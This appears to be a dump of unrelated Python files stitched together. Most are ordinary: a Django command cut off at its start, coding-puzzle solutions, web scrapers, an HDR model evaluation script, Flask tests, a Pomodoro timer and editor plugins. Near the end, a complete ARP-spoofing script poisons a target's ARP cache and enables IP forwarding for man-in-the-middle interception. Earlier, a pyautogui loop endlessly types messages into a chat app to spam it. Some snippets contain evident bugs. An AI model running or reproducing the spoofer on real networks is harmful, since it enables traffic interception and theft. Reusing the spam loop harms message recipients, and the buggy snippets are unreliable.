    ).exclude(embargo__state='unapproved')

    if page_size:
        out_of_date_registrations = out_of_date_registrations[:page_size]

    corrected_registration_count = 0
    for registration in out_of_date_registrations:
        registration.update_moderation_state()
        if registration.moderation_state != default_value:
            logger.info(
                f'Corrected moderation_state value for Registration with ID {registration._id}. '
                f'New value is {registration.moderation_state}'
            )
            corrected_registration_count += 1

    logger.info(f'Corrected the moderation_state for {corrected_registration_count} Registrations')
    return corrected_registration_count

class Command(BaseCommand):

    def add_arguments(self, parser):
        parser.add_argument(
            '--page_size',
            type=int,
            default=0,
            help='How many rows to process at a time. 0 indicates "all"',
        )

    def handle(self, *args, **options):
        page_size = options.get('page_size', 0)
        correct_registration_moderation_states(page_size)


'''
House Robber iii

https://leetcode.com/problems/house-robber-iii/
05/07/21
'''

# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right

class Solution:
    def rob(self, root: TreeNode) -> int:
        rob_saved = {} # case when  the parent node of a certain node is robbed
        not_rob_saved = {} #case when the parent node of a certain node is not robbed

        def recursion(node, parent_robbed):
            # returning [when this node is robbed, when this node is not robbed]
            if not node:
                #return [0, 0]
                return 0

            # 부모 노드가 털렸을 때는 현재 노드 못 텀
            if parent_robbed:
                if node in rob_saved:
                    return rob_saved[node]
                result = recursion(node.left, False) + recursion(node.right, False)

                rob_saved[node] = result
                return result

            # 부모 노드가 털리지 않았을 때는 현재 노드 털어도 되고 안 털어도 됨
            else:
                if node in not_rob_saved:
                    return not_rob_saved[node]
                # 현재 노드 터는 경우
                rob = node.val + recursion(node.left, True) + recursion(node.right, True)

                # 현재 노드 털지 않는 경우
                not_rob = recursion(node.left, False) +   recursion(node.right, False)

                # 둘 중 더큰 값 저장!
                result = max(rob, not_rob)
                not_rob_saved[node] = result
                return result

        return recursion(root, False) # 루트 위의 노드는 털리지 않음

    # recursion top-top
    # def rob(self, root:TreeNode) -> int:
    #     #recurs function as *helper*
    #     # max value it can get starting from the node
    #     def helper(node):
    #         # basic case
    #         if not node:
    #             return (0, 0)

    #         left = helper(node.left)
    #         right = helper(node.right)

    #         # two choices - rob this or not?

    #         # if we rob this node, we cannot rob its children
    #         rob = self.val + left[1] + right[1]

    #         # if we do not rob this node, we can either rob / not rob its children
    #         not_rob = max(left) + max(right)

    #         return [rob, not_rob]

    # return max(helper(root))

    # Time Complexity - exploring all nodes - O(n)
    # Space Complexity - stack to carry out recursion - O(n)


import re

import nltk
from cleantext import clean
from nltk.tokenize import sent_tokenize

nltk.download("punkt")

def convert_text_into_sentences(text):
    assert isinstance(text, str)

    # Normalize a text.
    text = clean(
        text,
        fix_unicode=True,
        to_ascii=True,
        lower=True,
        no_line_breaks=False,
        no_urls=True,
        no_emails=True,
        no_phone_numbers=True,
        no_numbers=False,
        no_digits=False,
        no_currency_symbols=False,
        no_punct=False,
    )

    # Remove tags.
    text = re.sub("<[^<]+?>", "", text)
    # Remove invalid charactors.
    text = re.sub("[#%'\(\)\*\+\-\\\/:;<=>@^_`|~\[\]]+", "", text)
    # Convert a text into sentences.
    sentences = sent_tokenize(text)

    return sentences


from utilities import *

def test():
    headers = {'User-Agent': "Open Source E-Sport Data Engineering School Project"} # User-Agent for wikiapi
    with open(f"results/lol/players/Insec.json", "r") as input_file:
        data = json.load(input_file)
    get_player_data(data, "lol", headers, ParsingMode.READ_FIRST_ALL, "leagueoflegends")

def test2():
    headers = {'User-Agent': "Open Source E-Sport Data Engineering School Project"}
    mode = ParsingMode.READ_FIRST_ALL
    print(get_player_data(get_player_json_from_name("Nine", "dota2", "dota2", headers, mode), "dota2", headers, mode, "dota2", []))

def test3():
    headers = {'User-Agent': "Open Source E-Sport Data Engineering School Project"}
    response = requests.get(f'https://liquipedia.net/leagueoflegends/api.php?action=parse&page=InSec&format=json', headers=headers)
    data = response.json()
    time.sleep(35)
    print(data)

test2()


import copy
from itertools import *

formula = list(input())
open, close = [], {}

stack = []

for i, ch in enumerate(formula):
    if ch == '(':
        stack.append(i)
        open.append(i)

    if ch == ')':
        temp = stack[len(stack)-1]
        close[temp] = i
        stack.pop()

# print(open)
# print(close)

nums = [i for i in range(len(open))]
cases = []
for i in range(1, len(open)+1):
    combs = list(combinations(nums, i))
    for comb in combs:
        cases.append(comb)

# print(cases)
answer = []
for case in cases:
    removes = []
    for i in case:
        removes.append(open[i])
        removes.append(close[open[i]])
    removes.sort(reverse=True)
    temp = copy.deepcopy(formula)
    for remove in removes:
        del temp[remove]
    answer.append(''.join(temp))
answer = list(set(answer))
answer.sort()
for ans in answer:
    print(ans)

# 1, 2, 3, 12, 13, 23, 123
# ((((1))))(2)


import network_fusion3
import numpy as np
import tensorflow as tf
import os
import cv2
import glob
import math
import time
from skimage.measure import compare_ssim as ssim

# In[2]: parameter setting
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = "0"

IMG_HEIGHT = 224*4
IMG_WIDTH = 224*6
IMG_DEPTH = 3

is_training = False
gamma = 2.2

test_path = "/data/tkd1088/dataset/Kalantari/Test/EXTRA"

# In[7]: Network design
input_LDR_low = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_LDR_mid = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_LDR_high = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_HDR_low = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_HDR_mid = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_HDR_high = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
gt_LDR_low= tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
gt_LDR_high = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
gt_HDR = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
is_train = tf.placeholder(tf.bool, name='is_train')

# In[7]: Network design
my_CAE = network_fusion3.MCAE_fusion(input_LDR_low, input_LDR_mid, input_LDR_high, input_HDR_low, input_HDR_mid, input_HDR_high, is_train)
output_hdr = my_CAE.output_hdr

# In[8]: test session
#align_exp = 'recon_190417_2_220000'
align_exp1 = 'recon_190510_1_280000'
align_exp2 = 'recon_190510_1_280000'
nscene = 15

saver = tf.train.Saver(tf.global_variables())

with tf.Session() as sess:
    min_iteration = 250000
    max_iteration = 250000

    for iteration in range(min_iteration, max_iteration+1, 10000) :
        result_path = "/data/tkd1088/result/hdr_transfer/results_compare/result_191116"
        if not os.path.exists(result_path):
            os.mkdir(result_path)

        ckpt_hdr_path = "/data/tkd1088/result/hdr_transfer/ckpt_190505_1_hdr/iter_%06d" % iteration
        saver.restore(sess, ckpt_hdr_path)

        total_psnrT = 0
        total_psnrL = 0
        total_ssimT = 0
        total_ssimL = 0

        for n in range(1, nscene+1):

          scene_path = '%s/%03d' % (test_path,n)
          image_pathss = '%s/LDR_static_*.png' % scene_path
          image_paths = sorted(glob.glob(image_pathss))
          info_path = '%s/exposure.txt' % scene_path
          hdr_path = '%s/HDRImg.hdr' % scene_path
          recon_low_path = '/data/tkd1088/result/hdr_transfer/results_compare/aligned/%03d_ours2_aligned_1.png' % n
          recon_mid_path = '/data/tkd1088/result/hdr_transfer/results_compare/aligned/%03d_ours2_aligned_2.png' % n
          recon_high_path = '/data/tkd1088/result/hdr_transfer/results_compare/aligned/%03d_ours2_aligned_3.png' % n

          input_LDR_low_ = cv2.imread(recon_low_path).astype(np.float32)/255.
          input_LDR_mid_ = cv2.imread(recon_mid_path).astype(np.float32)/255.
          input_LDR_high_ = cv2.imread(recon_high_path).astype(np.float32)/255.
          gt_HDR_ = cv2.imread(hdr_path,-1).astype(np.float32)

          input_LDR_low_ = input_LDR_low_[:,:,::-1]
          input_LDR_mid_ = input_LDR_mid_[:,:,::-1]
          input_LDR_high_ = input_LDR_high_[:,:,::-1]
          gt_HDR_ = gt_HDR_[:,:,::-1]

          input_LDR_low_ = cv2.resize(input_LDR_low_, (IMG_WIDTH,IMG_HEIGHT))
          input_LDR_mid_ = cv2.resize(input_LDR_mid_, (IMG_WIDTH,IMG_HEIGHT))
          input_LDR_high_ = cv2.resize(input_LDR_high_, (IMG_WIDTH,IMG_HEIGHT))
          gt_HDR_ = cv2.resize(gt_HDR_, (IMG_WIDTH,IMG_HEIGHT))

          height, width, channel = input_LDR_mid_.shape

          expo = np.zeros(3)
          file = open(info_path, 'r')
          expo[0]= np.power(2.0, float(file.readline()))
          expo[1]= np.power(2.0, float(file.readline()))
          expo[2]= np.power(2.0, float(file.readline()))
          file.close()

          input_HDR_low_ = np.power(input_LDR_low_, gamma)/expo[0]
          input_HDR_mid_ = np.power(input_LDR_mid_, gamma)/expo[1]
          input_HDR_high_ = np.power(input_LDR_high_, gamma)/expo[2]

          gt_HDR_tm = np.log(1.0+5000.0*gt_HDR_) / np.log(1.0+5000.0)
          cv2.imwrite('%s/%03d_ours2_gt.hdr' % (result_path, n), gt_HDR_[:,:,::-1])
          cv2.imwrite('%s/%03d_ours2_gt_tm.png' % (result_path, n), 255.*gt_HDR_tm[:,:,::-1])

          batch_input_LDR_low = []
          batch_input_LDR_mid = []
          batch_input_LDR_high = []
          batch_input_HDR_low = []
          batch_input_HDR_mid = []
          batch_input_HDR_high = []

          input_LDR_low_ = input_LDR_low_*2. -1.
          input_LDR_mid_ = input_LDR_mid_*2. -1.
          input_LDR_high_ = input_LDR_high_*2. -1.
          input_HDR_low_ = input_HDR_low_ *2. -1.
          input_HDR_mid_ = input_HDR_mid_ *2. -1.
          input_HDR_high_ = input_HDR_high_ *2. -1.

          batch_input_LDR_low.append(input_LDR_low_)
          batch_input_LDR_mid.append(input_LDR_mid_)
          batch_input_LDR_high.append(input_LDR_high_)
          batch_input_HDR_low.append(input_HDR_low_)
          batch_input_HDR_mid.append(input_HDR_mid_)
          batch_input_HDR_high.append(input_HDR_high_)

          batch_input_LDR_low_tensor = np.stack(batch_input_LDR_low, axis=0)
          batch_input_LDR_mid_tensor = np.stack(batch_input_LDR_mid, axis=0)
          batch_input_LDR_high_tensor = np.stack(batch_input_LDR_high, axis=0)
          batch_input_HDR_low_tensor = np.stack(batch_input_HDR_low, axis=0)
          batch_input_HDR_mid_tensor = np.stack(batch_input_HDR_mid, axis=0)
          batch_input_HDR_high_tensor = np.stack(batch_input_HDR_high, axis=0)

          st = time.time()
          recon_hdr = sess.run(output_hdr, feed_dict={
                                input_LDR_low    : batch_input_LDR_low_tensor,
                                input_LDR_mid    : batch_input_LDR_mid_tensor,
                                input_LDR_high   : batch_input_LDR_high_tensor,
                                input_HDR_low    : batch_input_HDR_low_tensor,
                                input_HDR_mid    : batch_input_HDR_mid_tensor,
                                input_HDR_high   : batch_input_HDR_high_tensor,
                                is_train         : is_training})
          ed = time.time()

          img_recon_hdr_ = recon_hdr[0,:,:,:].astype(np.float32)
          img_recon_hdr_ += 1.
          img_recon_hdr_ /= 2.

          img_recon_hdr_tm = np.log(1.0+5000.0*img_recon_hdr_) / np.log(1.0+5000.0)
          cv2.imwrite('%s/%03d_ours2_hdr.hdr' % (result_path, n), img_recon_hdr_[:,:,::-1])
          cv2.imwrite('%s/%03d_ours2_hdr_tm.png' % (result_path, n), 255.*img_recon_hdr_tm[:,:,::-1])

          mseT = np.mean((gt_HDR_tm-img_recon_hdr_tm)**2)
          mseL = np.mean((gt_HDR_-img_recon_hdr_)**2)
          psnrT = -10.*math.log10(mseT)
          psnrL = -10.*math.log10(mseL)
          ssimT = ssim(gt_HDR_tm,img_recon_hdr_tm,multichannel=True,data_range=gt_HDR_tm.max() - gt_HDR_tm.min())
          ssimL = ssim(gt_HDR_,img_recon_hdr_,multichannel=True,data_range=gt_HDR_.max() - gt_HDR_.min())
          total_psnrT += psnrT
          total_psnrL += psnrL
          total_ssimT += ssimT
          total_ssimL += ssimL
          print('Iteration %06d Scene %03d psnrT is %f (%.4f)' % (iteration,n,psnrT,ed-st))

        print('Iteration %06d Total psnrT is %f.' % (iteration, total_psnrT/nscene))
        print('Iteration %06d Total psnrL is %f.' % (iteration, total_psnrL/nscene))
        print('Iteration %06d Total ssimT is %f.' % (iteration, total_ssimT/nscene))
        print('Iteration %06d Total ssimL is %f.' % (iteration, total_ssimL/nscene))


from Timer import timethis

@timethis
def main():
    hands1 = []
    hands2 = []
    ans = 0
    with open('p054_poker.txt') as text:
        for line in text:
            hands1.append(line[:-1].split(' ')[0:5])
            hands2.append(line[:-1].split(' ')[5:10])
    for i in range(1000):
        result = compare_poker_hands(hands1[i], hands2[i])
        if result == 1:
            ans += 1
    print(ans)

def analyze_poker_hand(hand):
    h = ''.join(i for i in hand)
    ranking = [0] * 7
    card_ranks = ['2', '3', '4', '5', '6', '7', '8', '9', 'T', 'J', 'Q', 'K', 'A']
    cards_per_rank = [0] * 13

    for rank in card_ranks:
        cards_per_rank[card_ranks.index(rank)] = h.count(rank)
    m = max(cards_per_rank)
    temp_i = 2
    for i in range(12, -1, -1):
        if cards_per_rank[i] >= 1:
            ranking[temp_i] = i
            temp_i += 1

    if m == 1:
        if ranking[2] - ranking[6] == 4:
            ranking[0] = 4  # Straight

    elif m == 2:
        if cards_per_rank.count(2) == 2:
            ranking[0] = 2  # 2 pairs
            temp_i = 1
            for i in range(12, -1, -1):
                if cards_per_rank[i] == 2:
                    ranking[temp_i] = i
                    temp_i += 1
                elif cards_per_rank[i] == 1:
                    ranking[3] = i
        else:
            ranking[0] = 1  # 1 pair
            ranking[1] = cards_per_rank.index(2)
    elif m == 3:
        if 2 in cards_per_rank:
            ranking[0] = 6  # full house
            ranking[1] = cards_per_rank.index(3)
        else:
            ranking[0] = 3  # 3 of a kind
            ranking[1] = cards_per_rank.index(3)
    elif m == 4:
        ranking[0] = 7  # 4 of a kind
        ranking[1] = cards_per_rank.index(4)

    if h.count('H') == 5 or h.count('D') == 5 or h.count('S') == 5 or h.count('C') == 5:
        if h.count('A') == 1 and h.count('K') == 1 and h.count('Q') == 1 and h.count('J') == 1 and h.count('T') == 1:
            ranking[0] = 9  # GG Royal flush
        elif ranking[2] - ranking[6] == 4:
            ranking[0] = 8  # Straight flush
        else:
            ranking[0] = 5  # Flush
    return ranking

def compare_poker_hands(hand1, hand2):
    hand1_ranking = analyze_poker_hand(hand1)
    hand2_ranking = analyze_poker_hand(hand2)

    for i in range(len(hand1_ranking)):
        if hand1_ranking[i] > hand2_ranking[i]:
            return 1
        elif hand1_ranking[i] < hand2_ranking[i]:
            return 2
        else:
            continue
    return 0

main()


import pytest
from flask import json

from notv.app import create_app

@pytest.fixture
def client(request):
    app = create_app()
    app.config['TESTING'] = True
    app.config['AUTH_KEY'] = 'test-key'
    client = app.test_client()
    return client

def test_client_not_authorized(client):
    r = client.get('/api/shows/')
    j = json.loads(r.data)

    assert r.status_code == 401
    assert j['error'] == 'unauthorized'

def test_client_authorized(client):
    r = client.get('/api/shows/?auth_key=test-key')

    assert r.status_code == 200
    assert r.data == b'Shows list'

def test_index_page(client):
    r = client.get('/')

    assert r.status_code == 200
    assert r.data == b'Hello, World!'


n = int(input())
stack = []
for _ in range(n):
    i = int(input())
    if i == 0 :
        if len(stack) != 0 :
            stack.pop()
    else :
        stack.append(i)
# 재민이가 최종적으로 적어 낸 수의 합
print(sum(stack))


#!/usr/bin/env python3
# Purpose: Terminal-based Pomodoro timer

from datetime import datetime
from datetime import timedelta
import argparse
import time

def countdown(minutes, beep):
    seconds = minutes * 60
    while seconds:
        mins, secs = divmod(seconds, 60)
        counter = f"{mins:02d}:{secs:02d}"
        # ASCII carriage return ("\r") sends cursor back to the start of the line
        print(counter, end="\r")
        # Pause a second...
        time.sleep(1)
        seconds -= 1
    if beep:
        # make a simple 'beep' sound with an ASCII bell ("\a")
        print("\a")
    print("Study over, time for a break!")

def display(args, current_time):
    finish_time = (datetime.now() + timedelta(minutes=args.study)).strftime("%H:%M")
    # A bell if alarm is on, a scored-through bell if it is off
    alarm_flag = "\U0001F514" if args.alarm else "\U0001F515"
    print(
        f"\n\U0001F345 It's {current_time} now. Study finishes at {finish_time} {alarm_flag}"
    )
    countdown(args.study, args.alarm)

def get_time():
    now = datetime.now()
    now_time = now.strftime("%H:%M")
    return now_time

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-a", "--alarm", action="store_true", help="'beep' when study period is over"
    )
    parser.add_argument("study", help="minutes in study period (integer)", type=int)
    args = parser.parse_args()
    return args

def main():
    args = get_args()
    current_time = get_time()
    display(args, current_time)

if __name__ == "__main__":
    main()


import requests
from bs4 import BeautifulSoup
import pandas as pd
import time

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}

for page in range(1, 3114):
    url = 'http://www.sports.org.tw/c/product/p_viwe.asp?p_id=' + page
    r = requests.get(url, headers=headers)
    r.encoding = 'big5'
    soup = BeautifulSoup(r.text, 'html.parser')
    content = soup.find('body').findAll('table')[3].findAll('tr')[1].text.strip()
    with open("soliTmp.csv", "a") as text_file:
        text_file.write( content + '\n' )
    time.sleep(2)


import pyautogui as spam
from time import sleep

# Criei este código para envio automatico em aplicativos de mensagens

# Mostra onde esta o cursor do mouse, usa-se as coordenadas para inserir no laço
# import mouse
#while True:
#    print(mouse.get_position())
#    sleep(1)

# Define uma quantidade finita de repetições
#limite_msg = int(input('Entre com o numero de mensagem que deseja enviar: '))

msg = str(input('Digite a mensagem: '))

i = 0
sleep(2)

while True:#i < int(limite_msg):
    spam.click(1126, 684)
    spam.typewrite(msg)
    sleep(4)
    spam.click(1342, 684)
    i += 1


#! /usr/bin/env python
# -.- coding: utf-8 -.-

import roslib
roslib.load_manifest('cocktail_party')
import smach
import rospy
import smach_ros

from pal_smach_utils.utils.global_common import succeeded, aborted, preempted
from pal_smach_utils.utils.run_command_local import RunCommandLocal

def main():
    """Unit test for RunCommandLocal. """

    rospy.init_node('test_run_command')
    sm = smach.StateMachine(outcomes=[succeeded, aborted, preempted])
    with sm:
        smach.StateMachine.add("TEST_RUN_COMMAND",
            RunCommandLocal("/home/icarus/workspace/reem_at_iri/trunk/scripts/graspingStop.sh"),
            transitions={succeeded: succeeded, aborted: aborted}
            )

    sis = smach_ros.IntrospectionServer(
        'test_run_command_introspection', sm, '/SM_ROOT')
    sis.start()

    sm.execute()

    rospy.spin()
    sis.stop()

if __name__ == '__main__':
    main()


import sublime, sublime_plugin
import re

class Rtree2mdCommand(sublime_plugin.TextCommand):
  def run(self, edit):
    bufferText = self.view.substr(sublime.Region(0, self.view.size()))
    mdText = ''
    lines = bufferText.splitlines()

    reH1 = re.compile(r"^(\d+)\s")
    reHm = re.compile(r"^((\t+)((\d+\.)+\d))\s")

    for line in lines:

      matchH1 = re.search(reH1,line)

      if (matchH1):
        if (mdText != ''):
          mdText += "\n"
        mdText += re.sub(r"^\d+\s",'#',line)
        mdText += "\n"
        continue

      matchHm = re.search(reHm,line)

      if (matchHm):
        mdText += "\n"
        mdText += line.replace(matchHm.group(1),'#' + ('#' * len(matchHm.group(2))))
        mdText += "\n"
        continue
      mdText += re.sub(r"\t+","",line)
      mdText += "\n"

    self.view.replace(edit, sublime.Region(0, self.view.size()), mdText)

class Rtreeheader2listCommand(sublime_plugin.TextCommand):
  def run(self, edit):
    textSelection = [a for a in self.view.sel()][0]
    resultText = ''
    startFlag = 0
    baseHeaderLevel = 0
    lines = self.view.substr(textSelection).splitlines()
    baseHeadCheckRe = re.compile(r"^(\#+)\s")
    listLabelArr = ['-','*']

    for line in lines:

      if (line == '' and startFlag == 0):
        resultText += "\n"
        continue

      if (line == ''):
        continue

      matchHead = re.search(baseHeadCheckRe,line)

      if (matchHead):
        if (startFlag == 0):
          baseHeaderLevel = len(matchHead.group(1))
          startFlag = 1

        listLevel = len(matchHead.group(1)) - baseHeaderLevel

        if (listLevel < 0):
          resultText += "\n"
          resultText += line
          resultText += "\n"
          continue

        resultText += "\t" * listLevel
        resultText += listLabelArr[(listLevel + 1) % 2]
        resultText += " "
        resultText += re.sub(r"\#+","",line)
        resultText += "\n"
        continue

      resultText += line
      resultText += "\n"

    print(resultText)
    self.view.replace(edit, textSelection, resultText)


import spacy
from spacy.matcher import Matcher

nlp = spacy.load('en_core_web_sm')
matcher = Matcher(nlp.vocab)

def find_matches(text: str, pattern: list, pattern_name: str) -> list:
    """
    generic function to find matching patterns in a given sample of text.
    """
    doc = nlp(text)
    matcher.add(pattern_name, [pattern])
    matches = matcher(doc)
    matcher.remove(pattern_name)
    spans_found = [doc[start:end] for match_id, start, end in matches]
    return spacy.util.filter_spans(spans_found)


#!/usr/bin/env python3
import time
import argparse
import subprocess
import scapy.all as scapy

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t","--target",dest="target_ip",help="Target IP")
    parser.add_argument("-s","--spoof",dest="spoof_ip",help="Spoof IP")
    options = parser.parse_args()
    if not options.target_ip:
        parser.error("Please specify target args ! see more info use -h or --help")
    elif not options.spoof_ip:
        parser.error("Please specify target args ! see more info use -h or --help")
    else:
        return options

def spoof(target_ip,spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet,verbose=False)

def get_mac(ip):
    ans = scapy.srp(scapy.Ether(dst="ff:ff:ff:ff:ff:ff") / scapy.ARP(pdst=ip),timeout=2,verbose=False)[0]
    return ans[0][1].hwsrc

def restore(target_ip,spoof_ip):
    target_mac = get_mac(target_ip)
    spoof_mac = get_mac(spoof_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip,hwsrc=spoof_mac)
    scapy.send(packet,count=4,verbose=False)

def main():
    options = get_args()
    target_ip = options.target_ip
    spoof_ip = options.spoof_ip
    subprocess.call("echo 1 > /proc/sys/net/ipv4/ip_forward",shell=True)
    try:
        counter = 0
        while True:
            spoof(target_ip, spoof_ip)
            spoof(spoof_ip, target_ip)
            counter = counter + 2
            print("\rsend number:" + str(counter), end="")
            time.sleep(2)
    except KeyboardInterrupt:
        print("[+] CTRL+C ... Quitting. Restore ARP Table wait some seconds ...")
        restore(target_ip,spoof_ip)
        restore(spoof_ip, target_ip)

main()


#random 모듈 불러오기
import random
# 파이썬 파일이름과 모듈이름이 겹치게 사용하지 않도록 주의!
# 저녁메뉴 뭐 먹지?

menu = ['치킨','마라탕','시리얼','피자','갈비']

# 이중에서 랜덤으로 하나를 고르고 싶다.
# random 모듈의 choice 라는 함수를 사용해서 리스트 안의 값을 랜덤으로 선택하기
# 모듈안의 함수를 사용하는 방법 ==> 모듈이름.함수이름()

dinner = random.choice(menu)
print(dinner)